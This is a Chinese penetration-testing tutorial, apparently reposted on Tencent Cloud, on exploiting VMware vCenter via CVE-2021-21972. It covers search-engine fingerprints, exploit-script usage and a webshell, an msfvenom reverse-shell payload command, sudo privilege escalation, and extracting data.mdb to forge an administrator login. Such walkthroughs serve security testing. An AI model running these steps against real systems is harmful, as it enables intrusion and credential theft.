✎ 阅读须知
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
更新时间:2022.07.17
参考文档:https://mp.weixin.qq.com/s/0gg5TDEtL3lCb9pOnm42gg
Vcenter一般指VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了IT管理员对虚拟环境的控制,Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。
vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。
/sdk/vimServiceVersions.xml
app="vmware-vCenter"
或者 title="+ ID_VC_Welcome +"
http.title:"+ ID_VC_Welcome +"
该漏洞获得的shell默认权限是用户权限,不是root权限,需要提权才可以访问mdb文件。提权方法为sudo提权,有概率提不下来,比较繁琐。
该漏洞为任意文件上传漏洞。
可以使用下面这个句子检测返回状态码是否为405
,如果是405
的情况下则证明大概率存在漏洞。
可以使用该工具进行扫描测试:
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC
image.png
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
参考资料:https://blog.csdn.net/z136370204/article/details/111719373
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC
扫描就是一个玄学。。。。
也可以使用nuclei来进行扫描。
https://github.com/NS-Sp4ce/CVE-2021-21972
使用方法:
python3 CVE-2021-21972.py -url https://xxxxx
攻击脚本至少需要写120次,寻找真实的绝对路径,受网络问题影响较大,如果写入成功,就会直接回显shell地址。
冰蝎连接:
因为当前权限过低,无法直接获取cookie
伪造所需要的mdb
文件,因此先进行提权:
Linux photon-machine 4.4.110-2.ph1 #1-photon SMP Wed Jan 10 23:27:15 UTC 2018 x86_64 GNU/Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > a.elf
反弹回来一个shell,然后使用msf的模块建议提权:
run post/multi/recon/local_exploit_suggester
在这里会给出一个sudo
提权的建议,直接run
就行了:
最后会创建一个root权限的账号密码。
有些情况可以成功。当然,还可以通过以下脚本进行提权:
https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
https://github.com/worawit/CVE-2021-3156/blob/main/exploit_defaults_mailer.py)
在这里拿到shell
之后,需要对其进行伪造登录:
获取data.mdb
,默认位置:
windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
linux:/storage/db/vmware-vmdir/data.mdb
因为现在拿到的是root
权限,所以在这里直接通过python
起一个服务,直接将mdb
下载到本地进行解析,也可以直接将脚本上传上去解析,两个方法的脚本略有不同:
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py
这个脚本直接上传到靶机上去就可以用了:
python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb
或者将数据下载下来:
访问:https://127.0.0.1/
在此界面下,访问cookie
:
然后访问https://127.0.0.1/ui,回车等待:
等待一会,不管cookie
等如何加载,等着就行:
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有